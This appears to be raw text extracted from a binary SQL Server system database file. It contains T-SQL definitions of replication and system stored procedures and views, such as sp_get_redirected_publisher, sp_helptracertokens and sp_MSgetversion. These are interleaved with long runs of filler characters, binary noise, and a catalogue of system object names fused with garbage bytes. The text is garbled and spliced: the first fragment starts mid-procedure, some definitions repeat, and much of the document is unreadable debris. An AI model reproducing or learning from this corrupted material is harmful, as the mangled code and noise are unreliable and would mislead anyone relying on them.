	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_droppublication'

	EXEC @retcode = @cmd
					@publication,
					@ignore_distributor,
					@publisher,
					@publisher_type,
                    @from_backup

	RETURN (@retcode)
END
0fC D8ah 0-I@ v8CREATE VIEW sys.dm_os_wait_stats AS
	SELECT *
	FROM OpenRowset(TABLE SYSWAITSTATS)
0S 8create function sys.fn_remote_catalogs(
	@server		sysname,
	@catalog	sysname = NULL)
returns table
as
return	select * from OpenRowset(SYSREMOTE_CATALOGS, @server, @catalog)
0!F@ 8create procedure sys.sp_MSget_logical_record_children @tablenick int
as

    -- Use recursive query to get all articles directly or indirectly below @tablenick
    -- in the logical record hierarchy.
    with children_cte as 
    (
        -- start with immediate children of @tablenick
        select art_nickname from dbo.sysmergesubsetfilters 
        where join_nickname = @tablenick 
        and (filter_type & 2) = 2
            
        UNION ALL
            
        -- then recursively get the immediate children of articles selected in previous iteration
        select smsf.art_nickname from dbo.sysmergesubsetfilters smsf, children_cte cc
        where smsf.join_nickname = cc.art_nickname
        and (smsf.filter_type & 2) = 2
    )
    insert into #logical_record_children 
        select distinct art_nickname from children_cte

    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!B%`	-<	#+\k0-I@ v8CREATE VIEW sys.dm_os_wait_stats AS
	SELECT *
	FROM OpenRowset(TABLE SYSWAITSTATS)
0S 8create function sys.fn_remote_catalogs(
	@server		sysname,
	@catalog	sysname = NULL)
returns table
as
return	select * from OpenRowset(SYSREMOTE_CATALOGS, @server, @catalog)
02L I8--
-- Name: sp_get_redirected_publisher
--
-- Descriptions: Retrieve the redirected publisher for the specified 
--               publisher database pair. If the publisher is not
--               currently redirected, return NULL. 
--
--               For redirected publishers, if the @bypass_publisher_validation
--               parameter is 0 (default), validation checks are performed
--               to verify that the target of the redirection is a suitable
--               host for the published database. Both informational and
--               error messages can be raised by the validation stored 
--               procedure. Raised errors are caught in a TRY/CATCH
--               block and the severity, error number and error message
--               are returned as output parameters.
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - On both success and error; errors caught in TRY/CATCH
--
--          Result set:
--
--              redirected_publisher sysname
--              error_number         int
--              error_severity       int
--              error_message        nvarchar(4000)
--
-- Security: Public procedure invoked via RPC. Check caller for db_owner 
--           or in the PAL of a publication of the named pubisher. 
--
create procedure sys.sp_get_redirected_publisher
(
    @original_publisher sysname,
    @publisher_db sysname,
	@bypass_publisher_validation bit = 0
)
as
begin
    set nocount on
   
    declare @redirected_publisher sysname,
        @error_severity int,
        @error_number int,
        @error_message nvarchar(4000),
        @dbname sysname,
        @retcode int
   
    select @redirected_publisher = null,
        @error_severity = 0,
        @error_number = 0,
        @error_message = null,
        @dbname = db_name(),
        @retcode = 0
   
    begin try
 
        -- Has to be executed from distribution database
        --
        if (sys.fn_MSrepl_isdistdb (@dbname) <> 1)
        begin
            raiserror(21874, 16, -1, 'sys.sp_get_redirected_publisher', @dbname)
        end	
			
        -- Verify input parameters are not null
        --
        if @original_publisher is null or
        @publisher_db is null
        begin
            raiserror (21875, 16, -1, 'sys.sp_get_redirected_publisher')
        end
        
        -- Security check
        --
        if is_member(N'db_owner') <> 1
        begin
            exec @retcode = sys.sp_MSrepl_DistDBPALAccess @original_publisher
        
            if (@@error <> 0) or(@retcode <> 0)
            begin
                raiserror (21873, 16, -1, 'sys.sp_get_redirected_publisher')
            end
        end    
		
        -- If the publisher of the database has not been redirected,
		-- or the @bypass_publisher_validation parameter was set to 1
        -- return without performing any validation.
        --
        select @redirected_publisher = redirected_publisher
        from MSredirected_publishers
        where upper(original_publisher) = upper(rtrim(@original_publisher))
        and publisher_db = rtrim(@publisher_db)
		
        if @redirected_publisher is not null and
			@bypass_publisher_validation = 0
        begin
            -- Call the validation stored procedure to verify
            -- that the target of redirection is a suitable
            -- publisher for the database
            --
            exec sys.sp_validate_redirected_publisher
                @original_publisher,
                @publisher_db,
                @redirected_publisher output
        end		
			
    end try
	
    begin catch
	
        -- Set output parameters for raised error
        --
        select @error_severity = ERROR_SEVERITY(),
            @error_number = ERROR_NUMBER(),
            @error_message = ERROR_MESSAGE()
		
    end catch
	
    select @redirected_publisher as redirected_publisher,
        @error_number as error_number,
        @error_severity as error_severity,
        @error_message as error_message		
	
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`_<|~	^E0`@ h8--
-- Name:
-- 		sp_MSgetversion
--
-- Description:
--     Get the server product version, license type and package type.
--     This procedure is for downlevel compatibility since pre-SQL11 subscribers depend on it.  
--	
-- Returns:
--  	0-Success 
--
-- Security: 
--      Internal

CREATE PROCEDURE sys.sp_MSgetversion
AS
BEGIN
    /* 
    * Dev Note (VSTS#749780): 
    * sp_MSgetversion was removed in Denali since it was an internal sp and deprecated. 
    * We re-implement it in repl for downlevel compatibility.
    * Repl agents in Denali do not use it.
    *
    * The package type is not available directly in serverproperty.
    * We do some simple translation from engineedition.The values are,
    *    PACKAGE_STANDARD = 2 ;
    *    PACKAGE_ENTERPRISE = 3 ;
    *    PACKAGE_MSDE = 4 ;
    *    PACKAGE_EXPRESS = 5 ;
    *    ENGINE_MSDE = 1 ;
    *    ENGINE_STANDARD = 2 ;
    *    ENGINE_ENTERPRISE = 3 ;
    *    ENGINE_EXPRESS = 4 ;
    * In fact nobody cares about the package type, we just make it complete.
    */
    SELECT SERVERPROPERTY('ProductVersion'), 
        CASE SERVERPROPERTY('LicenseType')
            WHEN 'PER_SEAT' THEN 1
            WHEN 'PER_PROCESSOR' THEN  2
            -- Just keep same behavior as the old sp, return 1 for other cases
            -- Keep the PER_SEAT case to indicate the licensetype
            ELSE 1
        END,
        CASE SERVERPROPERTY('EngineEdition')
            WHEN 1 THEN 4
            WHEN 4 THEN 5
            ELSE SERVERPROPERTY('EngineEdition')
        END 
    RETURN 0
END
0d 8create procedure sys.sp_helptracertokens
(
	@publication	sysname,
	@publisher		sysname = NULL,
	@publisher_db	sysname = NULL
)
as
begin
	declare @retcode 			int,
			@distproc 			nvarchar(1000),
			@distributor 		sysname, 
			@distribution_db 	sysname
	--
	-- Calling convention is different if we are already at the distdb
	--
	if sys.fn_MSrepl_isdistdb (db_name()) = 1
	begin
		-- security check for distributor is performed in the helper proc.
	
		-- if we are at the distributor then publisher and
		-- publisher db are required parameters for this proc
		if isnull(@publisher, N'') = N''
		begin
			-- Parameter '%s' cannot be NULL or empty string when this procedure is run from a distribution database.
			raiserror(20686, 16, -1, '@publisher', 'distribution')
			return 1
		end
		else if isnull(@publisher_db, N'') = N''
		begin
			-- Parameter '%s' cannot be NULL or empty string when this procedure is run from a distribution database.
			raiserror(20686, 16, -1, '@publisher_db', 'distribution')
			return 1
		end
		
		exec @retcode = sys.sp_MShelptracertokens @publication 		= @publication,
													@publisher		= @publisher,	
													@publisher_db	= @publisher_db
		
		return @retcode
	end

	--
	-- Everything below this line is expected to run on the Publisher
	--

	-- Publisher Security Check.
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return 1

    -- check this db is published
	if sys.fn_MSrepl_istranpublished(db_name(),1) <> 1
    begin
		-- "The database is not published."
		raiserror (18757, 16, -1)
		return 1
	end
	
	-- do not allow users to specify pub/pubdb unless at disdb
	if @publisher is not NULL
	begin
		-- Parameter ''%s'' must be NULL when this procedure is not being run from a distribution database.
		raiserror(20687, 16, -1, '@publisher', 'distribution')
		return 1
	end
	else if @publisher_db is not NULL
	begin
		-- Parameter ''%s'' must be NULL when this procedure is not being run from a distribution database.
		raiserror(20687, 16, -1, '@publisher_db', 'distribution')
		return 1
	end

	select @publisher = publishingservername(),
			@publisher_db = db_name()

	exec @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT, 
											@distribdb = @distribution_db OUTPUT,
											@publisher = @publisher
	if @@error <> 0 or @retcode <> 0 or @distributor is NULL
	begin
		-- "The Distributor has not been installed correctly."
		raiserror(20036, 16, -1)
		return 1
	end

	select @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MShelptracertokens'	
	exec @retcode = @distproc @publication 		= @publication,
								@publisher		= @publisher,	
								@publisher_db	= @publisher_db
	if @@error <> 0 or @retcode <> 0 
	begin
		return 1
	end

	return 0
end
0i@ 18create procedure sys.sp_MSmap_partitionid_to_generations @partition_id int
as

    declare @retcode smallint

    exec @retcode = sys.sp_MSrepl_PAL_rolecheck
    if (@retcode <> 0) or (@@error <> 0)
        return 1

    if exists (select * from dbo.MSmerge_contents)
    begin
        insert into dbo.MSmerge_generation_partition_mappings (publication_number, partition_id, 
                    generation, changecount)
            select cpm.publication_number, cpm.partition_id, mc.generation, count(*)
            from dbo.MSmerge_current_partition_mappings cpm join dbo.MSmerge_contents mc
            on mc.tablenick = cpm.tablenick
            and mc.rowguid = cpm.rowguid
            and cpm.partition_id = @partition_id
            group by cpm.publication_number, cpm.partition_id, mc.generation
    end
    
    insert into dbo.MSmerge_generation_partition_mappings (publication_number, partition_id, 
                    generation, changecount)
            select ppm.publication_number, ppm.partition_id, ppm.generation, count(*)
            from dbo.MSmerge_past_partition_mappings ppm
            where ppm.partition_id = @partition_id
            group by ppm.publication_number, ppm.partition_id, ppm.generation
                        
    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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	 ֗00fu0P XXtsp_MSsetcontext_internalcaller0082FN~~`fn_IHarticle_columns003P X~sp_MSenable_publication_for_het_sub00$=P klbsp_xml_schema_rowset200CP 
xsp_MSreinit_failed_subscriptions00,WP 9Xsp_IHget_colinfo00XZP Nsp_droptype00N[cP RY^sp_MSget_repl_error00jeP dsp_replgetparsedddlcmd003fP dsp_MSagent_stethoscope00BX ջvsp_AddFunctionalUnitToComponent00P Ŭ2bsp_help_agent_default00qP w-`sp_helpdistpublisher00{P uC{^sp_table_validation00P eZsp_scriptxupdproc00SP y`sp_ORAhelpXactSetJob00V ldm_pdw_nodes_exec_requests00BP <=`sp_tables_rowset_rmt00MV ccjspt_procedure_params_view00&P jsp_MSadd_snapshot_history00P _#_#sp_MSgetMergeUpgradeSubscriberAppLock00V nnbspt_columns_odbc_view00BeV jdm_db_session_space_usage00P <CzVsp_copysnapshot00ZP =4\sp_addsubscription00NFN\fn_replvarbintoint00'
V =Ravailability_read_only_routing_lists00Q.P >z`sp_MSreleaseSlotLock00y 9P \sp_MSdrop_repl_job00TP <bsp_getsqlqueueversion00UpTV .pdm_exec_query_optimizer_info00*WV $Xdm_xe_map_values00tqcP Rrsp_MSdropfkreferencingarticle00eP nsp_MShelpobjectpublications00U{gP dZsp_scriptvupdproc00oFN0+^fn_ftableivprocexec00qP sp_MSrepl_distributionagentstatussummary00}P .Zfsp_MSadd_tracer_history008P PPsp_MScheck_subscription_count_internal00FNE]E]|fn_MSgetlogshippingmoniterlinkname00zP MmJysp_MSadd_log_shipping_history_detail00GC`P ^sp_MSRecontructType00P zzfsp_MSget_absolute_colid00^P |4bsp_helpmergepartition00P ^^fsp_MSupdatereplicastate00pP "`sp_MSsetupnotbelongs00;FNrfn_MSget_dynamic_filter_login00viP jsp_MSsetup_identity_range00P nsp_MSset_new_identity_range00
FNTmXfn_MSdayasnumber!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*Dn
|

B$
H
		,	Hnt6H0FX24`0N0"
	Y/00uP j$Yfsp_MScheck_pub_identity00IP <Tsp_unsubscribe00?:P Ehsp_MSscript_where_clause00dVFNuujfn_replgetsqlserverregkey00P JJhsp_tables_info_90_rowset00BP :ZTsp_indexoption00(X \BH\sp_cursorunprepare00CP ~sp_MSscript_trigger_fetch_statement00
FN0_0_\fn_MSsharedversion00gP -eysp_MSproxylogshippingmonitorsecondary00P dsp_MSdisableautonosync00P A1T1\sp_indexes_rowset2004P 		~sp_MSscript_trigger_version_updates00"P rrbsp_MSenableautonosync00
$V 2|dm_exec_query_transformation_stats00' X MM^sp_enable_sql_debug00xk*P nsp_MStable_has_unique_index006FNPfn_IHiscolpk00	V>P {WTsp_MSlocktable00KSBFNbbfn_replgetWorstWarningDurationMergesubscriptionsOnPublication00edJP Zsp_MSreplcheck_qv00xOP 1%lsp_MSrepl_helpsubscription00*RX qrsp_http_generate_wsdl_complex00N]P xsp_MSdrop_article_conflict_table00eP +5+5sp_MScreate_zero_identity_constraint00>pP XXhsp_MSsubscription_status00;sP {lsp_MSdrop_subscription_3rd00mzP xBtsp_MSisnonpkukupdateinconflict00GP ?lsp_MSget_synctran_commands00\“P Zsp_MSgetdbversion00P \sp_fulltext_column00oSAF1pGeographyConvexHullAggregate00ۥP Khsp_getagentparameterlist00BP tsp_MScreate_distributor_tables00P 7rsp_MSinit_replication_perfmon00h޲P |KXsp_MSdefer_check00{iV pzdm_exec_query_resource_semaphores004dlP Mssp_MSprocesslogshippingretentioncleanup00FdP sp_cdc_grant_select_on_change_enumeration_functions00P &&psp_cdc_get_capture_instances00͝FNhfn_MSmerge_nicknamefound00DP Msp_MSmakeorcheck_joinfilter_using_dri00*P 0dsp_MSremove_userscript005FNղղfn_MSarticle_has_downloadonly_property00!P e<sp_MSgenerate_enumchangedcolumnvalues_query00I X rZxp_availablemedia00>u X MNxp_sqlmaint00k X lxp_sysmail_attachment_loadN
8
\F6
dN
N	d	H|. `T`0k1"
	 d00ܞP }lsp_MSrepl_enumpublications00V ddm_logpool_hashentries00~>IF		tdm_logconsumer_cachebufferrefs00)V hdm_tran_current_snapshot00<P Lfsp_MSrepl_addsubscriber00<P psp_mergesubscription_cleanup00'P WWXsp_ORAaddarticle00P A+jsp_MSdeletefoldercontents00DX DЊfsp_update_user_instance00/P ӷbsp_MSpeersendresponse00VJP )dsp_addextendedproperty00kV ttZTABLE_CONSTRAINTS00DIF#8hdm_io_virtual_file_stats00IEP Qzjsp_MSregisterdynsnapseqno00FNɿɿ`fn_replremovefullobj00P wjsp_MSregistersubscription00P gXgXxsp_MScheckcontext_internalcaller00=	P psp_MSgetmergelastupdatedtime00X //^xp_readpkfromvarbin00y-P 6sp_MSrepl_getsubscription_status_hsnapshot00 IFmm^dm_exec_xml_handles00 /P MHMHlsp_MSscript_insert_pubwins002P R^sp_MSreplcheck_pull00#]3P W`sp_MSget_agent_names00	6P %Nsp_tableswc00W8P ebZsp_scriptvdelproc008P ''bsp_MSrepl_articleview00:P %Ybsp_MSenum_logreader_s00EP lOA~sp_removedistpublisherdbreplication00`HWP ,Zlsp_MSrepl_init_backup_lsns00aV dm_pdw_nodes_io_cluster_shared_drives00܉qX qsp_delete_http_namespace_reservation00f,wP "#Zsp_columns_rowset00{P TTsp_hadr_verify_publisher_at_distributor00P sp_http_generate_wsdl_defaultsimpleorcomplex00tU __R_dm_pdw_nodes00FwP ,Cpsp_MSenum_replication_agents00/P 6`sp_MShelp_repl_agent00uP ЊPsp_defaultdb00P sp_cdc_create_change_enumeration_wrapper_function00%BP ==sp_is_trace_flag_to_bypass_proc_gen_set00}8P 77Zsp_MSget_open_gen00GJP nsp_unregistercustomresolver00[FP IIrsp_MSreleasemergeadminapplock00_P Jrsp_MScreate_article_repl_view00P Wdsp_MSmakesystableviews00L5(P =Zsp_MSgetmaxbcpgen00P zsp_MSget_MSmerge_rowtrack_colinfo00NP xsp_MScreatelightweightdeleteproc
Z:X
x
v
^*
n
z 
	b	&>\*Bl
:r0`0/"	O2"Q00eDP @vIydsp_can_tlog_be_applied00[p"P ~~vsp_MSreplicationagentjobcontrol00!(P pq\sp_indexes_managed00.AFslGeographyEnvelopeAggregate00n?P <gHysp_delete_log_shipping_secondary_primary00GP *>*>Tsp_MSpublishdb00GJP 		dsp_special_columns_10000כYP Xsp_MSpad_command00a`P P Lsp_adduser00BeV `dm_xe_session_events00pP lsp_requestpeertopologyinfo00fvP F|Yvsp_MSadd_mergesubentry_indistdb00zP dWdWsp_hadr_validate_replica_hosts_as_publishers00uP Xsp_dbscriptlevel00q=P 6fsp_MSpublicationcleanup00yP \sp_distagentstatus00UP @)sp_replmonitorsubscriptionpendingcmds00tP }KKdsp_tables_info_rowset200X ttVxp_mergexpusage00QP Ufsp_articlesynctranprocs00FNS\fn_MSrepl_getpubid00IFF\fdm_logpoolmgr_freepools00HiP gHZfsp_MSstopsnapshot_agent00P r4rfsp_indexcolumns_managed00KP tsp_MSaddlogin_implicit_ntlogin00*hU v_dm_pdw_component_health_alerts00JP xIzsp_scriptpubwinsrefreshcursorvars005P NZjsp_helpsubscriptionerrors00]T+P I{hsp_MSGetCurrentPrincipal00?dEP 22bsp_indexes_100_rowset00GV \zbdm_fts_memory_buffers00HP {^^~sp_assembly_dependencies_rowset_rmt00YP -^sp_changesubscriber00t)fP 6~6~jsp_cdc_get_job_parameters00kV afdm_fts_index_population005qP 0HRsp_columns_ex00{tV bpdw_loader_run_stages00@{V y#zfCONSTRAINT_COLUMN_USAGE00:]P pZsp_cdc_disable_db0002RP @@hsp_cdc_stop_job_internal00u?P oVsp_cdc_vupgrade000P fsp_MSmerge_parsegenlist00RP CCvsp_MScheck_joinfilter_using_dri00
P bX^sp_MSsetlastsentgen00>s1 X PNxp_regwrite00P zTsp_MShelpindex00~ P Xsp_MSsettopology\B
z
8f
v

	6	tTbv(FB@:`N0/"2p	l2Y^00pJP nsp_MSensure_single_instance00'V phdm_fts_population_ranges004P dsp_setreplfailovermode00FNEEfn_escapecmdshellsymbolsremovequotes00P hsp_MSchange_originatorid00V 7vXvbtrace_subclass_values00P fsp_MSenum_subscriptions00GX DILsp_execute00:|P dsp_cdc_get_ddl_history00SV 747ldm_os_performance_counters00nP jsp_MStran_alterschemaonly00P ƜƜxsp_MSispullmergejobnamegenerated00\FN\fn_cdc_hexstrtobin00X ..Pxp_peekqueue00P rIy~sp_check_log_shipping_monitor_alert00'FN;p;p\fn_replencryptver400RP zsp_MStrypurgingoldsnapshotdeliveryprogress001P '{Ypsp_dropanonymoussubscription00:P ,,bsp_IHCheckSourceTable00`#P 2rsp_dbmmonitorchangemonitoring00#P Vbsp_publicationsummary00='P #ϊZsp_validatelogins00u8P chsp_MSfixup_defaults_name00;P a1Xsp_user_counter800&AP PUPUsp_MSsetcontext_merge_identityrangeddlbit006QP T8qpsp_MSinit_subscription_agent00QVVP HRsp_addmessage00VFNtfn_cdc_capture_instance_exists00WP /Xjsp_MSadd_subscription_3rd00n6YP 5^sp_MSunmarkreplinfo00	;[P qqsp_delete_log_shipping_alert_job_internal00cZ^P 3]P]\sp_helpremotelogin00^X wI{Psp_replflush00a_P ;ĒVsp_remoteoption00nbFNtfn_convertnumericlsntobinary1000.nP L7l^sp_getpublisherlink00节P l[hsp_MSrepl_FixTranPALRole00P ~Ēbsp_droplinkedsrvlogin00VV jj^spt_xml_schema_view00:PjP X"hhsp_helpmergeconflictrows00RP 	<nsp_MSsetup_partition_groups00p)yP >>sp_MScheck_join_filter_circular_relations00G2P Ԕhsp_MSmakebatchupdateproc00.P ŨVsp_MSdelgenzero00P vsp_MSupdategenerations_afterbcp00v%P  Rsp_MSmatchkey001	P bsp_MSSQLDMO80_versionh(.

,
Df

	Z		,ZrFHfJ6`0-"	#  00t%P r\r\rsp_MSlogshippingsysadmincheck00V !Zdm_os_dispatchers00'P F*o+dsp_foreign_keys_rowset00}P ]nsp_MSmerge_create_pub_table00V dm_pdw_nodes_exec_query_optimizer_info00VȼIF(9A9dm_exec_describe_first_result_set_for_object00͈P ViXsp_replmonitorhelpmergesessiondetail00wP E{jsp_MSscript_sync_del_trig00&FN__Zfn_datediff_units00P Gvsp_fulltext_load_thesaurus_file00LP kZsp_MShelp_article00V ]|Pdm_os_stacks00P dsp_MSResetTriggerProcs00cGIF>>Tfn_fulltext_i400P DC{sp_get_job_status_mergesubscription_agent00;FN??dfn_IHpublished_columns00$P i-lhsp_help_fulltext_columns00
P KKlsp_MSenummergepublications00>P ojsp_MSdoesfilterhaveparent00P Ftsp_unlink_publication_internal00FNַַXfn_replquotename00P ߼0hsp_help_datatype_mapping00cP /`sp_add_agent_profile00
P PAzfsp_browsesnapshotfolder00*FNmjfn_replreplacesinglequote00*-P sp_MSincrementpublicationminautonosynclsn00
-P Ffsp_MSagent_access_check00o/IFrrZfn_trace_gettable0091P %Xsp_articlefilter00AP Lnsp_MSvalidate_distpublisher00GV bpdw_database_mappings00_MP \sp_IHexecresultset00dz_P {wrsp_MSrepl_enumfullsubscribers00tjiFN$$Zfn_ORAgetbasetype00=l{FN*tlfn_MSrepl_ismergepublished00J|P ZNsp_bindrule005OP ;zxsp_MSset_subscription_properties00IFTfn_fulltext_i200P 8({Yjsp_MSdrop_anonymous_entry00jP dsp_MSsethighestversion00oP `sp_MSclosegeneration00FNbblfn_repldecryptver4_wrapper00vP N~sp_MSget_effective_pub_compat_level00WFNpfn_numberOf1InBinaryAfterLoc00#/P fsp_MSforcereenumeration!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!HX

0
`fH
T
		&	Zx.v&V,`0/"l6	E2<"K00N^P ]yhsp_MSrepl_addpublication00bFNfn_updateparameterwithqualifiedargument00TgP vLsp_dsninfo00ojV ddm_os_dispatcher_pools00)tP ZRsp_bindefault00_WtP L0L0zsp_MSrepl_getOraclepackageversion00}#|P U`sp_fulltext_database00P :2lsp_dbmmonitoraddmonitoring00cP hsp_MSadjustmergeidentity00ɲP ))hsp_cdc_verify_index_name00ˢP Ydsp_dropdatatypemapping00V >>Hindexes$00:P Mn^nvsp_procedure_params_100_managed00;}FNtfn_removeparameterwithargument00cfP >dsp_MSactivate_auto_sub00pP fsp_MSfixlineageversions00P SF{Xsp_addscriptexec00P aahsp_provider_types_rowset00'P bsp_MSrepl_getdbmsinfo00P fhsp_MSrepl_dropsubscriber00SP lsp_ORACheckLoopbackSupport00P H{nsp_MSremoveoffloadparameter00ZP Vsp_IHXactSetJob00nX DI^sp_resyncexecutesql00P (C^sp_vupgrade_subpass003FSWWtfn_getVolumeFreeSpace_internal00|V &Rdm_os_threads00
P -
-
rsp_MSscript_singlerow_trigger00phP 11jsp_fulltext_rethrow_error00P T]T]sp_MScreate_subscription_properties_table00_P ##sp_MSrepl_enable_heterogeneous_subscription00V vjvjhfulltext_thesaurus_files00NP DXsp_cdc_enable_db00cV `dm_pdw_os_event_logs00seP KZ`sp_MSstopmerge_agent00!V ssHSCHEMATA007&P hsp_MSrepl_droprolemember00(P rsp_repltablehasnonpkuniquekey002U bspt_datatype_info_ext00195FN`I{dfn_GetCurrentPrincipal00.P sp_MSdrop_expired_mergesubscription9000yP JK|sp_MScreate_all_article_repl_views00P %%bsp_MSexpandnotbelongs00P nsp_MSenumcolumnslightweight00P Vsp_MSsubtractbm00r X ^xp_get_tape_devices00P Vsp_MSindexspace&v^
^
ht
<
		*	P\`,f*PN`0-"	j2Uݕ00;P tsp_MSrepl_dropdatatypemappings00FN5PNfn_serverid00
